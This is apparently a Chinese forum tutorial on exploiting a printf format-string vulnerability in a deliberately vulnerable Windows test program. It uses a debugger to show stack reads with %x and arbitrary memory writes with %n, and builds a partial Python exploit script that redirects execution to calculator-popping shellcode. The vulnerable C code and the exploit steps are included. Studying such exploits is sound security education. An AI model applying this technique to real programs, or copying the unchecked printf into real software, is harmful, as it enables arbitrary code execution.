在网上找学习格式化字符串漏洞的材料,大多数是 Linux 系统的,分享一下在 Windows 系统上学习格式化字符串漏洞的记录,希望能对各位读者有所帮助。
将以下代码通过VC6.0 编译成程序Fstring.exe
(release 版)
在系统的注册表HKEY_LOCAL_MACHINE –> SOFTWARE –> Microsoft –> Windows NT –> CurrentVersion –> AeDebug
中,添加 Debugger,将其数据设置为调试器所在的的文件路径,后面还需要加上一些参数设置,这有利于后面的调试。
如下图所示:

在Auto 的值被设置为 0 的情况下,设置好默认调试器后,程序在因为内存访问异常等问题崩溃时时,系统显示确认消息框,点击该窗口的调试选项(Debug),调试器就可以自动附加程序并定位到出现异常的地址,如下图所示:


在Auto 的值被设置为 1 的情况下,程序崩溃时,没有显示确认消息框的步骤,调试器会直接启动并附加程序。
格式化字符串漏洞产生的主要原因是格式符与参数的数量不匹配,格式符会不受限制地读取栈区的数据。
当格式符与参数的数量匹配时,例如printf("Test String:%x,%d,%d",20,70,40)
,当参数全部压入栈后,栈区的情况如下所示:


printf 函数会正常打印输出Test String:14,70,40
。
但是当格式符与参数的数量不匹配时,例如printf("Test String:%x,%d,%d,%x",20,70,40)
,当参数全部压入栈后,栈区的情况如下所示:


printf 函数会打印输出Test String:14,70,40,ffffffff
,栈区的数据就被读取了。
以上是利用格式化字符串漏洞读取栈区数据的简单示范。
一般来说,可以通过利用格式化字符串漏洞实现以下目标:读取内存、写入内存、执行任意代码。
接下来以 printf 函数为例对格式化字符串漏洞进行说明。
%x
控制符会导致printf
函数从堆栈中弹出一个整数并以十六进制格式输出 。
用调试器打Immunity Debugger开文件Fstring.exe
,在参数栏输入text-%x


0x401033
是 printf 函数,函数调用之前,栈顶0x12FE74
指向的值是字符串text—%x
的地址 0x0012FE7C
。
printf
函数执行后 text-
会正常打印出来,%x 会打印堆栈中栈顶偏移 0x4 (即0x12FE78
)的值FFFFFFFF
。

输入 text-%x%x
时,printf
函数会一直打印到栈顶偏移位置 0x8
,即 0x12FE7C
的值,即 74786574
(text 的 ASCII 码)。

输入text-%x%10x
时,因为有两个%x
, printf
函数同样会打印到栈顶偏移位置 0x8
,但由于其中一个是%10x
,所以打印时会占用 10 个字符,没有数值的地方用空格填充,即text-ffffffff 74786574
。

输入参数AAAABBBBCCCC%x%x%x%x
,程序的输出如下所示:

也就是说在调用 printf 函数时,每个格式符%x 都在栈里读取数据,读取的位置也是以 4 个字节往栈区高地址递增。如果不受限制地传入参数%x,那么栈区的数据就会被泄露。
%n
控制符的特殊之处在于它不会像其他格式符那样输出内容,而是将当前已经输出的字符数写入指定的内存地址。
printf
函数内部维护着一个计数器,用于记录已经打印的字符数量。每次调用 printf 函数时,这个计数器都会被初始化为 0。当 printf
函数遇到 %n 格式符时,它会将当前计数器的值(即已打印字符数)写入 %n 对应的参数指向的内存地址。
这个指定的内存地址由%n 后面的参数决定,例如下面代码中的变量 count 的地址就是打印的字符数量写入的地址。
上面代码的输出结果是

重新调试程序Fstring.exe
,在之前调试的基础上做一点微调,将最后一个格式符%x 换成%n
根据上面的测试经验可知,格式符%n 读取的值应该是43434343
,不过43434343
不会打印输出,而是作为字符数传入的地址。可是%n 后面没有别的参数了,看看%n 会读取栈上哪个位置的数据作为传入字符数的地址。
看一下调试结果:

程序在0x4018A7
遇到了内存访问异常,此时 EAX = 0x43434343,ECX=0x24(十进制的 36)。指令MOV DWORD PTR DS:[EAX],ECX
试图将 0x24 赋值给地址 0x43434343。
前面已经提到,%n 是将已经输出的字符数写入指定的内存地址,这条指令就是将字符数 36(3 个%x 共打印 24 个字符,加上 AAAABBBBCCCC 合计 36 个字符)写入地址 0x43434343,也就是说%n 和%x 一样,按照顺序在栈区读取数据,并用作字符数写入的地址。

地址 0x43434343 是一个无效的内存地址,才会遇到访问异常,如果换一个有效的内存地址呢,例如随便在内存窗口选一个值为 0 的地址0x407148
,看看结果如何。调试时输入以下参数


调试结果显示,字符数 0x18(十进制的 24,即 3 个%x 打印的字符数)已经被成功写入了地址0x407148
。
通过以上调试和测试可知,可以利用格式化字符串漏洞在任意地址写入任意数据。
要完成漏洞利用,执行任意代码,需要在程序执行0x0040187
之前,
接下来说明格式化字符串的漏洞利用细节。
按照下面代码编写 Python 脚本,最好将程序Fstring.exe
和脚本放在同一个文件夹中。
点击执行脚本,程序启动并发生异常,调试器自动启动并附加程序,和之前一样停留在异常发生的地址0x004018A7
。

此时 EAX 的值为0x42424242
,之后需要替换成可供跳转到 shellcode 的地址 。
按Alt + K
查看程序的调用栈

离 shellcode 起始地址0x0012FE7C
较近的地址是0x0012FE50
,所以 EAX 的值可以被0x0012FE50
覆盖,借助这个地址跳转到 shellcode。
shellcode 的大致组成如下图所示:

前面已经提到,字符串在内存中的起始地址为 0x0012FE7C
,这也是 shellcode 的起始地址。在执行MOV DWORD PTR DS:[EAX],ECX
前,使 ECX 等于0x0012FE7C
,需要调整打印的字符串的长度。
0x0012FE7C
等于十进制的1244796
,之前脚本生成的字符长度是0x1AB
,即十进制的 427
1244796 - 427 = 1244369。%10x 打印 10 个字符,%1244369x 就可以打印 1244369 个字符。
根据计算结果调整一下脚本

此时 ECX 正好等于0x0012FE7C
,但是 EAX 又发生变化了,不等于末尾的字符串 BBBB (0x42424242)。
继续做一点微调

此时 EAX = 0x42424242, ECX = 0x12FE7C,接下来我们可以继续改造这个脚本,将结尾的 BBBB 替换为0x0012FE50
,将开头的部分填充字符 A 替换为弹出计算器的 payload, 完成漏洞利用。以下是改进后的 shellcode 的大致构成:

以下是弹出计算器的 shellcode,共 21 个字节
以下是调整后的脚本:
计算器成功弹出。

3ddK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9k6h3q4J5L8W2)9J5k6h3#2A6j5%4u0G2M7$3!0X3N6q4)9J5k6h3y4G2L8g2)9J5c8Y4A6Z5i4K6u0V1j5$3&6Q4x3V1k6%4K9h3&6V1L8%4N6K6i4K6u0r3N6$3W2F1x3K6u0Q4x3V1k6V1k6h3u0#2k6#2)9J5c8X3y4G2L8X3k6A6k6%4g2J5K9h3&6Y4i4K6u0V1j5i4g2@1L8$3#2S2N6r3W2U0i4K6u0V1k6r3g2T1N6h3N6Y4K9h3&6Y4
https://bbs.kanxue.com/thread-127511.htm
https://bbs.kanxue.com/thread-213153.htm
e8fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6G2M7$3q4F1k6r3q4E0j5h3I4A6N6r3S2Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5^5i4K6u0r3x3o6u0Q4x3V1j5H3x3g2)9J5c8X3g2^5M7r3I4G2K9i4c8A6L8X3N6Q4x3X3c8X3L8%4u0E0j5i4c8Q4x3X3c8K6N6s2u0A6L8X3N6K6i4K6u0V1K9h3&6Q4x3X3c8%4K9h3&6V1L8%4N6K6i4K6u0r3
#include <stdio.h>
#include <string.h>
void
parser(
char
*string)
{
char
buff[256];
memset
(buff,0,
sizeof
(buff));
strncpy
(buff,string,
sizeof
(buff)-1);
printf
(buff);
}
int
main (
int
argc,
char
*argv[])
{
parser(argv[1]);
return
0;
}
#include <stdio.h>
#include <string.h>
void
parser(
char
*string)
{
char
buff[256];
memset
(buff,0,
sizeof
(buff));
strncpy
(buff,string,
sizeof
(buff)-1);
printf
(buff);
}
int
main (
int
argc,
char
*argv[])
{
parser(argv[1]);
return
0;
}
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe"
-AEDEBUG %ld %ld
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe"
-AEDEBUG %ld %ld
int
count = 0;
printf
(
"Hello, world!%n"
, &count);
printf
(
"\nCount: %d\n"
, count);
int
count = 0;
printf
(
"Hello, world!%n"
, &count);
printf
(
"\nCount: %d\n"
, count);
Hello, world!
Count: 13
AAAABBBBCCCC%x%x%x%n
%x%x%x%nHq@
from subprocess import call
a=
"A"
*80
b=
"%x"
*44+
"%ncc"
c=
"B"
* 4
buf=a+b+c
call([
"Fstring.exe"
,buf])
from subprocess import call
[培训]科锐逆向工程师培训第53期2025年7月8日开班!
最后于 2024-9-1 12:06
被ZyOrca编辑
,原因: 修正错误、调整措辞